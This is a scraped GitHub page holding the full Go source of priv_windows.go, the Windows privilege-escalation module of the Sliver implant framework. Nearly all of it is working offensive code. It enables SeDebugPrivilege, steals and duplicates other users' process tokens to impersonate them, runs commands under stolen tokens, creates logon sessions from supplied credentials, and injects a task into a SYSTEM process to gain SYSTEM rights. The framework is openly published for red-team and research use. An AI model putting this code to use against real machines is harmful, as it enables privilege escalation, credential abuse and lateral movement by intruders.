-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Copy pathpriv_windows.go
624 lines (537 loc) · 18 KB
/
priv_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
//go:build windows
// +build windows
package priv
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"bytes"
"encoding/binary"
"fmt"
"os/exec"
"runtime"
"syscall"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
)
const (
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
SECURITY_MANDATORY_LOW_RID = 0x00001000
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
SECURITY_MANDATORY_HIGH_RID = 0x00003000
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
)
type PrivilegeInfo struct {
Name string
Description string
Enabled bool
EnabledByDefault bool
Removed bool
UsedForAccess bool
}
var CurrentToken windows.Token
func SePrivEnable(s string) error {
var tokenHandle windows.Token
thsHandle, err := windows.GetCurrentProcess()
if err != nil {
return err
}
windows.OpenProcessToken(
//r, a, e := procOpenProcessToken.Call(
thsHandle, // HANDLE ProcessHandle,
windows.TOKEN_ADJUST_PRIVILEGES, // DWORD DesiredAccess,
&tokenHandle, // PHANDLE TokenHandle
)
var luid windows.LUID
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("LookupPrivilegeValueW failed", err)
// {{end}}
return err
}
privs := windows.Tokenprivileges{}
privs.PrivilegeCount = 1
privs.Privileges[0].Luid = luid
privs.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
err = windows.AdjustTokenPrivileges(tokenHandle, false, &privs, 0, nil, nil)
if err != nil {
// {{if .Config.Debug}}
log.Println("AdjustTokenPrivileges failed", err)
// {{end}}
return err
}
return nil
}
func RevertToSelf() error {
CurrentToken = windows.Token(0)
return windows.RevertToSelf()
}
func getPrimaryToken(pid uint32) (*windows.Token, error) {
handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("OpenProcess failed")
// {{end}}
return nil, err
}
defer windows.CloseHandle(handle)
var token windows.Token
if err = windows.OpenProcessToken(handle, windows.TOKEN_DUPLICATE|windows.TOKEN_ASSIGN_PRIMARY|windows.TOKEN_QUERY, &token); err != nil {
// {{if .Config.Debug}}
log.Println("OpenProcessToken failed")
// {{end}}
return nil, err
}
return &token, err
}
func enableCurrentThreadPrivilege(privilegeName string) error {
ct, err := windows.GetCurrentThread()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentThread failed", err)
// {{end}}
return err
}
var t windows.Token
err = windows.OpenThreadToken(ct, windows.TOKEN_QUERY|windows.TOKEN_ADJUST_PRIVILEGES, true, &t)
if err != nil {
// {{if .Config.Debug}}
log.Println("openThreadToken failed", err)
// {{end}}
return err
}
defer windows.CloseHandle(windows.Handle(t))
var tp windows.Tokenprivileges
privStr, err := windows.UTF16PtrFromString(privilegeName)
if err != nil {
return err
}
err = windows.LookupPrivilegeValue(nil, privStr, &tp.Privileges[0].Luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("lookupPrivilegeValue failed")
// {{end}}
return err
}
tp.PrivilegeCount = 1
tp.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED
return windows.AdjustTokenPrivileges(t, false, &tp, 0, nil, nil)
}
func impersonateProcess(pid uint32) (newToken windows.Token, err error) {
var attr windows.SecurityAttributes
var requiredPrivileges = []string{"SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege"}
primaryToken, err := getPrimaryToken(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("getPrimaryToken failed:", err)
// {{end}}
return
}
defer primaryToken.Close()
err = syscalls.ImpersonateLoggedOnUser(*primaryToken)
if err != nil {
// {{if .Config.Debug}}
log.Println("impersonateLoggedOnUser failed:", err)
// {{end}}
return
}
err = windows.DuplicateTokenEx(*primaryToken, windows.TOKEN_ALL_ACCESS, &attr, windows.SecurityDelegation, windows.TokenPrimary, &newToken)
if err != nil {
// {{if .Config.Debug}}
log.Println("duplicateTokenEx failed:", err)
// {{end}}
return
}
for _, priv := range requiredPrivileges {
err = enableCurrentThreadPrivilege(priv)
if err != nil {
// {{if .Config.Debug}}
log.Println("Failed to set priv", priv)
// {{end}}
return
}
}
return
}
func impersonateUser(username string) (token windows.Token, err error) {
if username == "" {
err = fmt.Errorf("username can't be empty")
return
}
p, err := ps.Processes()
if err != nil {
return
}
for _, proc := range p {
if proc.Owner() == username {
token, err = impersonateProcess(uint32(proc.Pid()))
// {{if .Config.Debug}}
log.Printf("[%d] %s\n", proc.Pid(), proc.Executable())
// {{end}}
if err == nil {
// {{if .Config.Debug}}
log.Println("Got token for process", proc.Pid(), proc.Executable())
// {{end}}
return
}
}
}
windows.RevertToSelf()
err = fmt.Errorf("Could not acquire a token belonging to %s", username)
return
}
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
func MakeToken(domain string, username string, password string) error {
var token windows.Token
pd, err := windows.UTF16PtrFromString(domain)
if err != nil {
return err
}
pu, err := windows.UTF16PtrFromString(username)
if err != nil {
return err
}
pp, err := windows.UTF16PtrFromString(password)
if err != nil {
return err
}
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
if err != nil {
// {{if .Config.Debug}}
log.Printf("LogonUser failed: %v\n", err)
// {{end}}
return err
}
err = syscalls.ImpersonateLoggedOnUser(token)
if err != nil {
// {{if .Config.Debug}}
log.Println("impersonateLoggedOnUser failed:", err)
// {{end}}
return err
}
CurrentToken = token
return err
}
func createRegistryKey(keyPath string) error {
_, _, err := registry.CreateKey(registry.CURRENT_USER, keyPath, registry.SET_VALUE|registry.QUERY_VALUE)
if err != nil {
return err
}
return nil
}
func deleteRegistryKey(keyPath, keyName string) (err error) {
key, err := registry.OpenKey(registry.CURRENT_USER, keyPath, registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return
}
err = registry.DeleteKey(key, keyName)
return
}
// RunProcessAsUser - Retrieve a primary token belonging to username
// and starts a new process using that token.
func RunProcessAsUser(username, command, args string) (out string, err error) {
token, err := impersonateUser(username)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not impersonate user", username)
// {{end}}
return
}
cmd := exec.Command(command, args)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(token),
}
// {{if .Config.Debug}}
log.Printf("Starting %s as %s\n", command, username)
// {{end}}
output, err := cmd.Output()
if err != nil {
// {{if .Config.Debug}}
log.Println("Command failed:", err)
// {{end}}
return
}
out = string(output)
return
}
// Impersonate attempts to steal a user token and sets priv.CurrentToken
// to its value. Other functions can use priv.CurrentToken to start Processes
// impersonating the user.
func Impersonate(username string) (token windows.Token, err error) {
token, err = impersonateUser(username)
if err != nil {
//{{if .Config.Debug}}
log.Println("impersonateUser failed:", err)
//{{end}}
return
}
CurrentToken = token
return
}
// GetSystem starts a new RemoteTask in a SYSTEM owned process
func GetSystem(data []byte, hostingProcess string) (err error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
procs, _ := ps.Processes()
for _, p := range procs {
if p.Executable() == hostingProcess {
err = SePrivEnable("SeDebugPrivilege")
if err != nil {
// {{if .Config.Debug}}
log.Println("SePrivEnable failed:", err)
// {{end}}
return
}
err = taskrunner.RemoteTask(p.Pid(), data, false)
if err != nil {
// {{if .Config.Debug}}
log.Println("RemoteTask failed:", err)
// {{end}}
return
}
break
}
}
return
}
func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
// A place to put the size of the token integrity information
var tokenIntegrityBufferSize uint32
// Determine the integrity of the process
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
if tokenIntegrityBufferSize < 4 {
// {{if .Config.Debug}}
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
// {{end}}
return "Unknown", nil
}
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
err := windows.GetTokenInformation(processToken,
windows.TokenIntegrityLevel,
&tokenIntegrityBuffer[0],
tokenIntegrityBufferSize,
&tokenIntegrityBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (integrity): ", err)
// {{end}}
return "", err
}
/*
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
tell us what privilege level we are operating at.
*/
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
return "Untrusted", nil
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
return "Low", nil
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
return "Medium", nil
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
return "High", nil
}
return "Unknown", nil
}
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
/*
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
mkwinsyscall, so we are good to go.
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
*/
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
nameBuffer := make([]uint16, 256)
nameBufferSize := uint32(len(nameBuffer))
displayNameBuffer := make([]uint16, 256)
displayNameBufferSize := uint32(len(displayNameBuffer))
// A blank string for the system name tells the call to use the local machine
systemName := ""
/*
A language ID that gets returned from LookupPrivilegeDisplayNameW
We do not need it for anything, but we still need to provide it
*/
var langID uint32
err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
if err != nil {
return "", "", err
}
err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
if err != nil {
// We already got the privilege name, so we might as well return that
return syscall.UTF16ToString(nameBuffer), "", err
}
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
}
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
// A place to store the process token
var tokenHandle windows.Token
// Process integrity
var integrity string
// The current process name
var processName string
// A place to put the size of the token information
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
// This error is not fatal. Worst case, we can display the PID from the registered session
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
// {{end}}
}
if processInformation != nil {
processName = processInformation.Executable()
}
}
// Get the process token from the current process
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
err = windows.GetTokenInformation(tokenHandle,
windows.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (privileges): ", err)
// {{end}}
return nil, integrity, processName, err
}
// The first 32 bits is the number of privileges in the structure
var privilegeCount uint32
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, integrity, processName, err
}
/*
The remaining bytes contain the privileges themselves
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
*/
privInfo := make([]PrivilegeInfo, int(privilegeCount))
for index := 0; index < int(privilegeCount); index++ {
// Iterate over the privileges and make sense of them
// In case of errors, return what we have so far and the error
// LUIDs consist of a DWORD and a LONG
var luid uint64
// Attributes are up to 32 one bit flags, so a uint32 is good for that
var attributes uint32
var currentPrivInfo PrivilegeInfo
// Read the LUID
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the LUID from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Read the attributes
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the attributes from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get privilege info based on the LUID: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Figure out the attributes
currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
privInfo[index] = currentPrivInfo
}
// Get the process integrity before we leave
integrity, err = getProcessIntegrityLevel(tokenHandle)
if err != nil {
return privInfo, "Could not determine integrity level", processName, err
}
return privInfo, integrity, processName, nil
}
// CurrentTokenOwner returns the current thread's token owner
func CurrentTokenOwner() (string, error) {
currToken := CurrentToken
// when the windows.Handle is zero (no impersonation), future method calls
// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
// actual handle
if currToken == 0 {
currToken = windows.GetCurrentProcessToken()
}
return TokenOwner(currToken)
}
// TokenOwner will resolve the primary token or thread owner of the given
// handle
func TokenOwner(hToken windows.Token) (string, error) {
tokenUser, err := hToken.GetTokenUser()
if err != nil {
return "", err
}
user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err != nil {
return "", err
}
return fmt.Sprintf(`%s\%s`, domain, user), err
}